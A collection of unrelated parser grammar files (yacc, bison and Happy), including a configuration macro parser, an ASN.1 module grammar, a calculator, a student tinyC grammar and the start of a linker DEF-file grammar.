if_expr : LPAREN if_expr RPAREN
{
$$ = $2;
}
| if_expr ANDAND if_expr
{
$$ = $1 && $3;
}
| if_expr OROR if_expr
{
$$ = $1 || $3;
}
| word
{
check_varname($1->string);
$$ = tw_mac_ifdef($1->string);
}
host_expr: LPAREN host_expr RPAREN
{
$$ = $2;
}
| host_expr ANDAND host_expr
{
$$ = $1 && $3;
}
| host_expr OROR host_expr
{
$$ = $1 || $3;
}
| word
{
$$ = tw_mac_ifhost($1->string);
}
directive:
DEFINE word
{
check_varname($2->string);
tw_mac_define($2->string, "");
$$ = NULL;
}
| DEFINE word word
{
check_varname($2->string);
tw_mac_define($2->string, $3->string); $$ = NULL;
}
| UNDEF word {
check_varname($2->string);
tw_mac_undef($2->string); $$ = NULL; }
| IFDEF if_expr
{
$1 = $2;
}
EOL colines else ENDIF
{
if ($1) { $$ = $5; }
else { $$ = $6; }
/*
linenumber++;
*/
}
| IFNDEF if_expr
{
$1 = !$2;
}
EOL colines else ENDIF
{
if ($1) { $$ = $5; }
else { $$ = $6; }
/*
linenumber++;
*/
}
| IFHOST host_expr
{
$1 = $2;
}
EOL colines else ENDIF
{
if ($1) { $$ = $5; }
else { $$ = $6; }
/*
linenumber++;
*/
}
| IFNHOST host_expr
{
$1 = !$2;
}
EOL colines else ENDIF
{
if ($1) { $$ = $5; }
else { $$ = $6; }
/*
linenumber++;
*/
}
| INCLUDE word
{
/* push a new @@include file onto the include stack */
include_push($2->string, &yyin);
$$ = NULL;
}
| CONTENTS word
{
char *pc = "@@contents ";
/* record contents in list */
list_set($2->string, "", 0, pp_entry_list_global);
/* reconstruct and emit the entire string */
$$ = (char *) malloc((unsigned) (strlen($2->string) + strlen(pc)) + 1);
(void) strcpy($$, pc);
(void) strcat($$, $2->string);
/* free up the right side */
free($2->string);
free($2);
}
| ECHOTHIS words
{
fprintf(stderr, "tw.config: echo: %s\n", $2);
$$ = NULL;
}
| DBASEVERSION word
{
int version;
if (sscanf($2->string, "%d", &version) != 1) {
yyerror("");
}
/* check if the database format is too old */
if (version != db_version_num) {
fprintf(stderr,
"error: database format %d is no longer supported!\n\tSee tw.config(5) manual page for details)\n\t'%s' (expecting version %d)!\n",
version, currparsefile, db_version_num);
exit(1);
}
/* free up the right side */
free($2->string);
free($2);
/* we must see one of these productions in the file */
found_db_version = 1;
$$ = NULL;
}
;
words : words word
{
/* concatenate the two terminals together */
if ($1 == NULL) {
$$ = (char *) malloc((unsigned) strlen($2->string) + 1);
$$[0] = '\0';
}
else {
$$ = (char *) malloc((unsigned)
(strlen($1) + strlen($2->string)) + 2);
(void) strcpy($$, $1);
/* XXX: This doesn't work!
if ($2 && (!$2->directive))
*/
if ($2)
(void) strcat($$, " ");
/* free up the left component */
free($1);
}
(void) strcat($$, $2->string);
/* free up the right component */
if ($2) {
free($2->string);
free($2);
}
SPDEBUG(11) printf("--(words)--> (%s)\n", $$);
}
|
{
$$ = NULL;
}
;
word : STRING
{
struct comp *pcomp;
char *pc;
$$ = (struct comp *) malloc(sizeof(struct comp));
pc = $1;
$$->string = strcpy((char *) malloc((unsigned) strlen($1) + 1), $1);
$$->directive = 0;
}
;
%%
#include "lex.yy.c"
/*ARGSUSED*/
yyerror(s)
char *s;
{
fprintf(stderr,
"error: syntax error at line %d in config file\n\t'%s' !\n",
++linenumber, currparsefile);
}
/*
* void
* tw_macro_parse(char *filename, FILE *fpin, FILE *fpout,
* struct list **pp_entry_list)
*
* wrapper around yyparse(), initiailzing input and output data.
*/
void
tw_macro_parse(filename, fpin, fpout, pp_entry_list)
char *filename;
FILE *fpin, *fpout;
struct list **pp_entry_list;
{
static int firsttime = 1;
stackpointer = 0;
/* set up input and output pointers */
yyin = fpin;
yyout = fpout;
#ifdef FLEX_SCANNER
if (!firsttime) {
yyrestart(yyin);
} else {
firsttime = 0;
}
#endif
/* set up initial filename */
strcpy( currparsefile, filename );
pp_entry_list_global = pp_entry_list;
(void) yyparse();
}
/* counters odd behaviour of flex -- <NAME> */
#ifdef yywrap
# undef yywrap
#endif
yywrap()
{
/* check to see if we've reached the bottom of the @@include stack */
if (include_pop()) {
linenumber++;
return 0;
}
/* close up parser */
return 1;
}
/*
* static char *
* string_dequote(char *s)
*
* remove pairs of quoted strings.
*/
static char *
string_dequote(s)
char *s;
{
char temp[1024];
/* do we need to do anything? */
if (s[0] != '"') { return s; }
(void) strncpy(temp, s+1, strlen(s) - 2);
(void) strcpy(s, temp);
return s;
}
/*
* void
* include_push(char *filename, FILE **p_fp_old)
*
* return a stdio (FILE *) pointer to the opened (filename), saving
* the old (FILE *) pointer and line number on the stack.
*
* returns (NULL) when we pop back to the original file.
*/
static void
include_push(filename, p_fp_old)
char *filename;
FILE **p_fp_old;
{
static FILE *fp;
char *pc;
extern int errno;
/* check for stack overflow */
if (stackpointer == INCLUDE_STACK_SZ) {
fprintf(stderr,
"error: too many nested includes at line %d in file\n\t'%s' !\n",
linenumber, currparsefile);
exit(1);
}
/* dequote the include filename */
string_dequote(filename);
/* save the old file pointer, filename, and linenumber on the stack */
fp_stack[stackpointer] = *p_fp_old;
(void) strcpy((pc = (char *) malloc((unsigned) strlen(currparsefile) + 1)),
currparsefile);
filename_stack[stackpointer] = pc;
linenumber_stack[stackpointer++] = linenumber;
/* try opening the file */
if ((fp = fopen(filename, "r")) == NULL) {
if (errno == ENOENT) {
fprintf(stderr,
"error: @@include '%s': file not found at line %d in config file\n\t'%s' !\n",
filename, linenumber, currparsefile);
exit(1);
}
else {
char msg[100];
sprintf(msg, "%s: fopen()", filename);
perror(msg);
exit(1);
}
}
/* replace old pointer with new */
*p_fp_old = fp;
/* reset line number and filename */
linenumber = 0;
strcpy( currparsefile, filename );
}
/*
* FILE *
* include_pop()
*
* pop the last file structure off the @@include stack.
*
* returns NULL when we've exhausted the stack.
*/
static FILE *
include_pop()
{
/* check for stack underflow */
if (stackpointer-- == 0)
return NULL;
(void) fclose(yyin);
/* pop off the line numbers and the stdio file pointer */
yyin = fp_stack[stackpointer];
#ifdef FLEX_SCANNER
yyrestart(yyin);
#endif
linenumber = linenumber_stack[stackpointer];
strcpy( currparsefile, filename_stack[stackpointer] );
free(filename_stack[stackpointer]);
return yyin;
}
int
check_varname(pc)
char *pc;
{
for (; *pc; pc++) {
if (!(isalnum(*pc) || (*pc == '_'))) {
fprintf(stderr,
"warning: illegal character '%c' in @@define at line %d in file\n\t'%s' !\n",
*pc, linenumber, currparsefile);
}
}
return 0;
}
|
/*
* Copyright (c) 1997-1999 Microsoft Corporation
*/
/* yacc.y - yacc ASN.1 parser */
%{
#include <iostream.h>
#include <fstream.h>
#include <windows.h>
#include <snmptempl.h>
#include "infoLex.hpp"
#include "infoYacc.hpp"
#include "moduleInfo.hpp"
#define theModuleInfo ((SIMCModuleInfoParser *)this)
%}
%start ModuleDefinition
%token MI_BGIN MI_CCE MI_COMMA MI_DEFINITIONS MI_FROM MI_ID
MI_IMPORTS MI_NAME MI_SEMICOLON MI_LBRACE MI_RBRACE
MI_LPAREN MI_RPAREN MI_DOT MI_LITNUMBER
%union {
char * yy_name;
}
%type <yy_name> MI_ID MI_NAME ModuleIdentifier
%%
ModuleDefinition: ModuleIdentifier MI_DEFINITIONS AllowedCCE MI_BGIN Imports
{
theModuleInfo->SetModuleName($1);
return 0;
}
;
ModuleIdentifier: MI_ID MI_LBRACE ObjectIDComponentList MI_RBRACE
| MI_ID MI_LBRACE error MI_RBRACE
| MI_ID
| MI_NAME
;
Imports: MI_IMPORTS SymbolList MI_SEMICOLON
|
MI_IMPORTS error MI_SEMICOLON
|
MI_IMPORTS SymbolsImported MI_SEMICOLON
|
empty
|
MI_ID
{
delete $1;
}
|
MI_NAME
;
SymbolsImported: SymbolsFromModuleList
| empty
;
SymbolsFromModuleList: SymbolsFromModuleList SymbolsFromModule
| SymbolsFromModule
;
SymbolsFromModule: SymbolList MI_FROM ImportModuleIdentifier
|
error MI_FROM ImportModuleIdentifier
;
ImportModuleIdentifier: MI_ID MI_LBRACE ObjectIDComponentList MI_RBRACE
{
theModuleInfo->AddImportModule($1);
delete $1;
}
| MI_ID MI_LBRACE error MI_RBRACE
{
theModuleInfo->AddImportModule($1);
delete $1;
}
| MI_ID
{
theModuleInfo->AddImportModule($1);
delete $1;
}
;
SymbolList: SymbolList MI_COMMA Symbol
| Symbol
;
Symbol: MI_ID
{
delete $1;
}
| MI_NAME
;
ObjectIDComponentList : ObjectSubID ObjectIDComponentList
| ObjectSubID
;
ObjectSubID: QualifiedName
| MI_NAME MI_LPAREN MI_LITNUMBER MI_RPAREN
| MI_NAME MI_LPAREN QualifiedName MI_RPAREN
| MI_LITNUMBER
;
QualifiedName : MI_ID MI_DOT MI_NAME
| MI_NAME
;
empty:
;
/* The following non terminals have been added for error control */
AllowedCCE: InsteadOfCCE
| MI_CCE
;
InsteadOfCCE: ':' ':'
| ':' '='
| '='
;
%%
|
<filename>caltech-parser/parserlib/klexlib/src/RegExp.y
%start expr
%left '|'
%left concat_expr
%nonassoc '?' '+' '*' repeat_expr
expr:
paren '(' expr ')'
concat expr expr
or expr '|' expr
plus expr '+'
star expr '*'
quest expr '?'
repeat expr COUNT
ident IDENTIFIER
string STRING
charRange CHAR_RANGE
|
<gh_stars>100-1000
%{
#include <stdio.h>
#include <ctype.h>
#include <math.h>
%}
%code requires {
typedef enum {
TYPE_INTEGER,
TYPE_FLOAT
} value_type_t;
typedef struct {
int integer_value;
float float_value;
value_type_t value_type;
} node;
#define YYLTYPE node
#define YYSTYPE node
}
%token NUMBER
%%
command : exp1 {
}
;
exp1: exp1 '\n' exp {
if ($3.value_type == TYPE_INTEGER) {
printf("%d\n", $3.integer_value);
} else {
printf("%f\n", $3.float_value);
}
}
| exp {
if ($1.value_type == TYPE_INTEGER) {
printf("%d\n", $1.integer_value);
} else {
printf("%f\n", $1.float_value);
}
};
exp : exp '+' term {
if ($1.value_type == TYPE_INTEGER && $3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = $1.integer_value + $3.integer_value;
} else if ($1.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.integer_value + $3.float_value;
} else if ($3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value + $3.integer_value;
} else {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value + $3.float_value;
}
}
| exp '-' term {
if ($1.value_type == TYPE_INTEGER && $3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = $1.integer_value - $3.integer_value;
} else if ($1.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.integer_value - $3.float_value;
} else if ($3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value - $3.integer_value;
} else {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value - $3.float_value;
}
}
| term { $$ = $1; }
;
term : term '*' factor {
if ($1.value_type == TYPE_INTEGER && $3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = $1.integer_value * $3.integer_value;
} else if ($1.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.integer_value * $3.float_value;
} else if ($3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value * $3.integer_value;
} else {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value * $3.float_value;
}
}
| term '/' factor {
if ($1.value_type == TYPE_INTEGER && $3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = $1.integer_value / $3.integer_value;
} else if ($1.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.integer_value / $3.float_value;
} else if ($3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value / $3.integer_value;
} else {
$$.value_type = TYPE_FLOAT;
$$.float_value = $1.float_value / $3.float_value;
}
}
| factor { $$ = $1; }
;
factor : '-' numfactor {
if ($2.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = - $2.integer_value ;
} else if ($2.value_type == TYPE_FLOAT) {
$$.value_type = TYPE_FLOAT;
$$.float_value = - $2.float_value;
}
}
| numfactor '^' numfactor {
if ($1.value_type == TYPE_INTEGER && $3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_INTEGER;
$$.integer_value = pow($1.integer_value,$3.integer_value);
} else if ($1.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = pow($1.integer_value,$3.float_value);
} else if ($3.value_type == TYPE_INTEGER) {
$$.value_type = TYPE_FLOAT;
$$.float_value = pow($1.float_value,$3.integer_value);
} else {
$$.value_type = TYPE_FLOAT;
$$.float_value = pow($1.float_value,$3.float_value);
}
}
| numfactor { $$ = $1; }
;
numfactor : NUMBER { $$ = $1; }
| '(' exp ')' { $$ = $2; }
;
%%
int main() {
yyparse();
}
int yyerror(char *s) {
fprintf(stderr, "%s\n", s);
return 0;
}
|
/*
Name: <NAME>
Roll : 18CS30010
Date : 10/10/2020
Asignment4: Parser For tinyC Language
*/
%{
#include <string.h>
#include <stdio.h>
extern int yylex();
void yyerror(char *s);
%}
%union { int intval; }
// Punctuators and operators
%token NOT EXCLAMATION HASH PERCENTAGE XOR AND MULTIPLY OPENROUNDBRACKET CLOSEROUNDBRACKET MINUS DECREMENT EQUAL EQUALEQUAL PLUS INCREMENT OPENCURLYBRACKET CLOSECURLYBRACKET OPENSQUAREBRACKET CLOSESQUAREBRACKET OR COLON SEMICOLON COMMA LESSTHAN LEFTSHIFT DOT GREATERTHAN RIGHTSHIFT QUESTIONMARK DIVIDE LESSTHANEQUAL GREATERTHANEQUAL NOTEQUAL POINTER MULTIPLYASSIGN ELLIPSIS DIVIDEASSIGN MODASSIGN ADDASSIGN LEFTSHIFTASSIGN RIGHTSHIFTASSIGN SUBTRACTASSIGN ANDASSIGN XORASSIGN ORASSIGN
// Keywords
%token SIZEOF EXTERN STATIC VOID CHAR SHORT INT LONG FLOAT DOUBLE CONST RESTRICT VOLATILE INLINE CASE DEFAULT IF ELSE SWITCH WHILE DO FOR GOTO CONTINUE BREAK RETURN STRUCT UNION TYPEDEF
// Extras
%token INT_CONSTANT FLOAT_CONSTANT CHARACTER_CONSTANT IDENTIFIER STRING_LITERAL CONSTANT
%start translation_unit
%%
constant :
INT_CONSTANT
| FLOAT_CONSTANT
| CHARACTER_CONSTANT ;
primary_expression :
IDENTIFIER
| constant
| STRING_LITERAL
| OPENROUNDBRACKET expression CLOSEROUNDBRACKET
{printf("EXPRESSIONS : PRIMARY_EXPRESSION\n");};
postfix_expression :
primary_expression
| postfix_expression OPENSQUAREBRACKET expression CLOSESQUAREBRACKET
| postfix_expression OPENROUNDBRACKET CLOSEROUNDBRACKET
| postfix_expression OPENROUNDBRACKET argument_expression_list CLOSEROUNDBRACKET
| postfix_expression OPENROUNDBRACKET
| postfix_expression DOT IDENTIFIER
| postfix_expression POINTER IDENTIFIER
| postfix_expression INCREMENT
| postfix_expression DECREMENT
| OPENROUNDBRACKET type_name CLOSEROUNDBRACKET OPENCURLYBRACKET initializer_list CLOSECURLYBRACKET
| OPENROUNDBRACKET type_name CLOSEROUNDBRACKET OPENCURLYBRACKET initializer_list COMMA CLOSECURLYBRACKET
{printf("EXPRESSIONS : POSTFIX_EXPRESSION\n");};
argument_expression_list :
assignment_expression
| argument_expression_list COMMA assignment_expression
{printf("EXPRESSIONS : ARGUMENT_EXPRESSION_LIST\n");};
unary_expression :
postfix_expression
| INCREMENT unary_expression
| DECREMENT unary_expression
| unary_operator cast_expression
| SIZEOF unary_expression
| SIZEOF OPENROUNDBRACKET type_name CLOSEROUNDBRACKET
{printf("EXPRESSIONS : UNARY_EXPRESSION\n");};
unary_operator: AND
| MULTIPLY
| PLUS
| MINUS
| NOT
| EXCLAMATION
{printf("EXPRESSIONS : UNARY_OPERATOR\n");};
cast_expression : unary_expression
| OPENROUNDBRACKET type_name CLOSEROUNDBRACKET cast_expression
{printf("EXPRESSIONS : CAST_EXPRESSION\n");};
multiplicative_expression :
cast_expression
| multiplicative_expression MULTIPLY cast_expression
| multiplicative_expression DIVIDE cast_expression
| multiplicative_expression PERCENTAGE cast_expression
{printf("EXPRESSIONS : MULTIPLICATIVE_EXPRESSION\n");};
additive_expression :
multiplicative_expression
| additive_expression PLUS multiplicative_expression
| additive_expression MINUS multiplicative_expression
{printf("EXPRESSIONS : ADDITIVE_EXPRESSION\n");};
shift_expression :
additive_expression
| shift_expression LEFTSHIFT additive_expression
| shift_expression RIGHTSHIFT additive_expression
{printf("EXPRESSIONS : SHIFT_EXPRESSION\n");};
relational_expression :
shift_expression
| relational_expression LESSTHAN shift_expression
| relational_expression GREATERTHAN shift_expression
| relational_expression LESSTHANEQUAL shift_expression
| relational_expression GREATERTHANEQUAL shift_expression
{printf("EXPRESSIONS : RELATIONAL_EXPRESSION\n");};
equality_expression :
relational_expression
| equality_expression EQUALEQUAL relational_expression
| equality_expression NOTEQUAL relational_expression
{printf("EXPRESSIONS : EQUALITY_EXPRESSION\n");};
AND_expression :
equality_expression
| AND_expression AND equality_expression
{printf("EXPRESSIONS : AND_EXPRESSION\n");};
exclusive_OR_expression :
AND_expression
| exclusive_OR_expression XOR AND_expression
{printf("EXPRESSIONS : EXCLUSIVE_OR_EXPRESSION \n");};
inclusive_OR_expression :
exclusive_OR_expression
| inclusive_OR_expression '|' exclusive_OR_expression
{printf("EXPRESSIONS : INCLUSIVE_OR_EXPRESSION\n");};
logical_AND_expression :
inclusive_OR_expression
| logical_AND_expression AND inclusive_OR_expression
{printf("EXPRESSIONS : LOGICAL_AND_EXPRESSION\n");};
logical_OR_expression :
logical_AND_expression
| logical_OR_expression OR logical_AND_expression
{printf("EXPRESSIONS : LOGICAL_OR_EXPRESSION \n");};
conditional_expression :
logical_OR_expression
| logical_OR_expression QUESTIONMARK expression COLON conditional_expression
{printf("EXPRESSIONS : CONDITIONAL_EXPRESSION\n");};
assignment_expression :
conditional_expression
| unary_expression assignment_operator assignment_expression
{printf("EXPRESSIONS : ASSIGNMENT_EXPRESSION\n");};
assignment_operator :
EQUAL
| MULTIPLYASSIGN
| DIVIDEASSIGN
| MODASSIGN
| ADDASSIGN
| SUBTRACTASSIGN
| LEFTSHIFTASSIGN
| RIGHTSHIFTASSIGN
| ANDASSIGN
| XORASSIGN
| ORASSIGN
{printf("EXPRESSIONS : ASSIGNMENT_OPERATOR\n");};
expression :
assignment_expression
| expression COMMA assignment_expression
{printf("EXPRESSIONS : EXPRESSION\n");};
constant_expression :
conditional_expression
{printf("EXPRESSIONS : CONSTANT_EXPRESSION\n");};
declaration :
declaration_specifiers SEMICOLON
| declaration_specifiers init_declarator_list SEMICOLON
{printf("DECLARATIONS : DECLARATION\n");};
declaration_specifiers :
storage_class_specifier
| storage_class_specifier declaration_specifiers
| type_specifier
| type_specifier declaration_specifiers
| type_qualifier
| type_qualifier declaration_specifiers
| function_specifier
| function_specifier declaration_specifiers
{printf("DECLARATIONS : DECLARATION_SPECIFIERS\n");};
init_declarator_list :
init_declarator
| init_declarator_list COMMA init_declarator
{printf("DECLARATIONS : INIT_DECLARATOR_LIST\n");};
init_declarator :
declarator
| declarator EQUAL initializer
{printf("DECLARATIONS : INIT_DECLARATOR\n");};
storage_class_specifier :
EXTERN
| STATIC
{printf("DECLARATIONS : STORAGE_CLASS_SPECIFIER\n");};
type_specifier :
VOID
| CHAR
| SHORT
| INT
| LONG
| FLOAT
| DOUBLE
{printf("DECLARATIONS : TYPE_SPECIFIER\n");};
specifier_qualifier_list :
type_specifier
| type_specifier specifier_qualifier_list
| type_qualifier
| type_qualifier specifier_qualifier_list
{printf("DECLARATIONS : SPECIFIER_QUALIFIER_LIST\n");};
type_qualifier :
CONST
| VOLATILE
| RESTRICT
{printf("DECLARATIONS : TYPE_QUAIFIER \n");};
function_specifier :
INLINE
{printf("DECLARATIONS : FUNCTION_SPECIFIER\n");};
declarator : pointer direct_declarator
| direct_declarator
{printf("DECLARATIONS : DECLARATOR\n");};
direct_declarator :
IDENTIFIER
| OPENROUNDBRACKET declarator CLOSEROUNDBRACKET
| direct_declarator OPENSQUAREBRACKET type_qualifier_list assignment_expression CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET assignment_expression CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET type_qualifier_list CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET STATIC type_qualifier_list assignment_expression CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET STATIC assignment_expression CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET type_qualifier_list STATIC assignment_expression MULTIPLY CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET type_qualifier_list MULTIPLY CLOSESQUAREBRACKET
| direct_declarator OPENSQUAREBRACKET MULTIPLY CLOSESQUAREBRACKET
| direct_declarator OPENROUNDBRACKET parameter_type_list CLOSEROUNDBRACKET
| direct_declarator OPENROUNDBRACKET identifier_list CLOSEROUNDBRACKET
| direct_declarator OPENROUNDBRACKET CLOSEROUNDBRACKET
{printf("DECLARATIONS : DIRECT_DECLARATOR\n");};
pointer :
MULTIPLY
| MULTIPLY type_qualifier_list
| MULTIPLY pointer
| MULTIPLY type_qualifier_list pointer
{printf("DECLARATIONS : POINTER\n");};
type_qualifier_list :
type_qualifier
| type_qualifier_list type_qualifier
{printf("DECLARATIONS : TYPE_QUALIFIER_LIST\n");};
parameter_type_list :
parameter_list
| parameter_list COMMA ELLIPSIS
{printf("DECLARATIONS : PARAMETER_TYPE_LIST\n");};
parameter_list :
parameter_declaration
| parameter_list COMMA parameter_declaration
{printf("DECLARATIONS : PARAMETER_LIST\n");};
parameter_declaration :
declaration_specifiers declarator
| declaration_specifiers
{printf("DECLARATIONS : PARAMETER_DECLARATION\n");};
identifier_list: IDENTIFIER
| identifier_list COMMA IDENTIFIER
{printf("DECLARATIONS : IDENTIFIER_LIST\n");};
type_name :
specifier_qualifier_list
{printf("DECLARATIONS : TYPE_NAME\n");};
initializer :
assignment_expression
| OPENCURLYBRACKET initializer_list CLOSECURLYBRACKET
| OPENCURLYBRACKET initializer_list COMMA CLOSECURLYBRACKET
{printf("DECLARATIONS : INITIALIZER\n");};
initializer_list :
designation initializer
| initializer
| initializer_list COMMA initializer
| initializer_list COMMA designation initializer
{printf("DECLARATIONS : INITIALIZER_LIST\n");};
designation :
designator_list EQUAL
{printf("DECLARATIONS : DESIGNATION\n");};
designator_list :
designator
| designator_list designator
{printf("DECLARATIONS : DESIGNATOR_LIST\n");};
designator :
OPENSQUAREBRACKET constant_expression CLOSESQUAREBRACKET
| DOT IDENTIFIER
{printf("DECLARATIONS : DESIGNATOR\n");};
statement :
labeled_statement
| compound_statement
| expression_statement
| selection_statement
| iteration_statement
| jump_statement
{printf("STATEMENTS : STATEMENT\n");} ;
labeled_statement :
IDENTIFIER COLON statement
| CASE constant_expression COLON statement
| DEFAULT COLON statement
{printf("STATEMENTS : LABELED_STATMENT\n");};
compound_statement :
OPENCURLYBRACKET CLOSECURLYBRACKET
| OPENCURLYBRACKET block_item_list CLOSECURLYBRACKET
{printf("STATEMENTS : COMPOUND_STATEMENT\n");};
block_item_list :
block_item
| block_item_list block_item
{printf("STATEMENTS : BLOCK_ITEM_LIST\n");};
block_item :
declaration
| statement
{printf("STATEMENTS : BLOCK_ITEM\n");};
expression_statement :
expression SEMICOLON
| SEMICOLON
{printf("STATEMENTS : EXPRESSION_STATEMENT\n");};
selection_statement :
IF OPENROUNDBRACKET expression CLOSEROUNDBRACKET statement
| IF OPENROUNDBRACKET expression CLOSEROUNDBRACKET statement ELSE statement
| SWITCH OPENROUNDBRACKET expression CLOSEROUNDBRACKET statement
{printf("STATEMENTS : SELECTION_STATEMENT\n");};
iteration_statement :
WHILE OPENROUNDBRACKET expression CLOSEROUNDBRACKET statement
| DO statement WHILE OPENROUNDBRACKET expression CLOSEROUNDBRACKET SEMICOLON
| FOR OPENROUNDBRACKET expression_statement expression_statement CLOSEROUNDBRACKET statement
| FOR OPENROUNDBRACKET expression_statement expression_statement expression CLOSEROUNDBRACKET statement
{printf("STATEMENTS : ITERATION_STATEMENT\n");};
jump_statement :
GOTO IDENTIFIER SEMICOLON
| CONTINUE SEMICOLON
| BREAK SEMICOLON
| RETURN SEMICOLON
| RETURN expression SEMICOLON
{printf("STATEMENTS : JUMP_STATEMENT\n");} ;
translation_unit :
external_declaration
| translation_unit external_declaration
{printf("EXTERNAL DEFINITIONS : TRANSLATION_UNIT\n");};
external_declaration :
function_definition
| declaration
{printf("EXTERNAL DEFINITIONS : EXTERNAL_DECLARATION\n");};
function_definition :
declaration_specifiers declarator declaration_list compound_statement
| declaration_specifiers declarator compound_statement
| declarator declaration_list compound_statement
| declarator compound_statement
{printf("EXTERNAL DEFINITIONS : FUNCTION_DEFINITION\n");};
declaration_list :
declaration
| declaration_list declaration
{printf("EXTERNAL DEFINITIONS : DECLARATION LIST\n");};
%%
void yyerror(char *s) {
printf ("ERROR IS : %s",s);
}
|
-- This module demonstrates a bug in the original 1.11 release of Happy.
{
module Main where
import IO
import Control.Exception as Exception
}
%name parse
%tokentype { Tok }
%token
'+' { Plus }
'/' { Divide }
int { Num $$ }
%left '+'
%left '*'
%nonassoc '/'
%%
E : E '+' E { Plus' $1 $3 }
| E '/' E { Divide' $1 $3 }
| int { Num' $1 }
{
happyError :: [Tok] -> a
happyError s = error (concatMap show s)
data Tok = Plus | Divide | Num Int deriving Show
data Syn = Plus' Syn Syn | Divide' Syn Syn | Num' Int deriving Show
-- due to a bug in conflict resolution, this caused a parse error:
tokens1 = [Num 6, Divide, Num 7, Plus, Num 8]
main = print (parse tokens1)
}
|
<filename>sdktools/link16/newdef.y
/* DEF file syntax - yacc */
%token T_FALIAS
%token T_KCLASS
%token T_KNAME
%token T_KLIBRARY
%token T_KBASE
%token T_KDEVICE
%token T_KPHYSICAL
%token T_KVIRTUAL
%token T_ID
%token T_NUMBER
%token T_KDESCRIPTION
%token T_KHEAPSIZE
%token T_KSTACKSIZE
%token T_KMAXVAL
%token T_KCODE
%token T_KCONSTANT
%token <_wd> T_FDISCARDABLE T_FNONDISCARDABLE
%token T_FEXEC
%token <_wd> T_FFIXED
%token <_wd> T_FMOVABLE
%token T_FSWAPPABLE
%token T_FSHARED
%token T_FMIXED
%token <_wd> T_FNONSHARED
%token <_wd> T_FPRELOAD
%token <_wd> T_FINVALID
%token <_wd> T_FLOADONCALL
%token <_wd> T_FRESIDENT
%token <_wd> T_FPERM
%token <_wd> T_FCONTIG
%token <_wd> T_FDYNAMIC
%token T_FNONPERM
%token T_KDATA
%token <_wd> T_FNONE
%token <_wd> T_FSINGLE
%token <_wd> T_FMULTIPLE
%token T_KSEGMENTS
%token T_KOBJECTS
%token T_KSECTIONS
%token T_KSTUB
%token T_KEXPORTS
%token T_KEXETYPE
%token T_KSUBSYSTEM
%token T_FDOS
%token T_FOS2
%token T_FUNKNOWN
%token T_FWINDOWS
%token T_FDEV386
%token T_FMACINTOSH
%token T_FWINDOWSNT
%token T_FWINDOWSCHAR
%token T_FPOSIX
%token T_FNT
%token T_FUNIX
%token T_KIMPORTS
%token <_wd> T_KNODATA
%token T_KOLD
%token T_KCONFORM
%token T_KNONCONFORM
%token T_KEXPANDDOWN T_KNOEXPANDDOWN
%token T_EQ
%token T_AT
%token T_KRESIDENTNAME
%token T_KNONAME
%token T_STRING
%token T_DOT
%token T_COLON
%token T_COMA
%token T_ERROR
%token T_FHUGE T_FIOPL T_FNOIOPL
%token T_PROTMODE
%token <_wd> T_FEXECREAD T_FRDWR
%token T_FRDONLY
%token T_FINITGLOB T_FINITINST T_FTERMINST
%token T_FWINAPI T_FWINCOMPAT T_FNOTWINCOMPAT T_FPRIVATE T_FNEWFILES
%token T_REALMODE
%token T_FUNCTIONS
%token T_APPLOADER
%token T_OVL
%token T_KVERSION
%{ /* SCCSID = %W% %E% */
#include <minlit.h>
#include <bndtrn.h>
#include <bndrel.h>
#include <lnkio.h>
#include <newexe.h>
#if EXE386
#include <exe386.h>
#endif
#include <lnkmsg.h>
#include <extern.h>
#include <string.h>
#include <impexp.h>
#define YYS_WD(x) (x)._wd /* Access macro */
#define YYS_BP(x) (x)._bp /* Access macro */
#define INCLUDE_DIR 0xffff /* Include directive for the lexer */
#define MAX_NEST 7
#define IO_BUF_SIZE 512
/*
* FUNCTION PROTOTYPES
*/
LOCAL int NEAR lookup(void);
LOCAL int NEAR yylex(void);
LOCAL void NEAR yyerror(char *str);
LOCAL void NEAR ProcNamTab(long lfa,unsigned short cb,unsigned short fres);
LOCAL void NEAR NewProc(char *szName);
#if NOT EXE386
LOCAL void NEAR SetExpOrds(void);
#endif
LOCAL void NEAR NewDescription(unsigned char *sbDesc);
LOCAL APROPIMPPTR NEAR GetImport(unsigned char *sb);
#if EXE386
LOCAL void NEAR NewModule(unsigned char *sbModnam, unsigned char *defaultExt);
LOCAL void NEAR DefaultModule(unsigned char *defaultExt);
#else
LOCAL void NEAR NewModule(unsigned char *sbModnam);
LOCAL void NEAR DefaultModule(void);
#endif
#if AUTOVM
BYTE FAR * NEAR FetchSym1(RBTYPE rb, WORD Dirty);
#define FETCHSYM FetchSym1
#define PROPSYMLOOKUP EnterName
#else
#define FETCHSYM FetchSym
#define PROPSYMLOOKUP EnterName
#endif
int yylineno = -1; /* Line number */
LOCAL FTYPE fFileNameExpected;
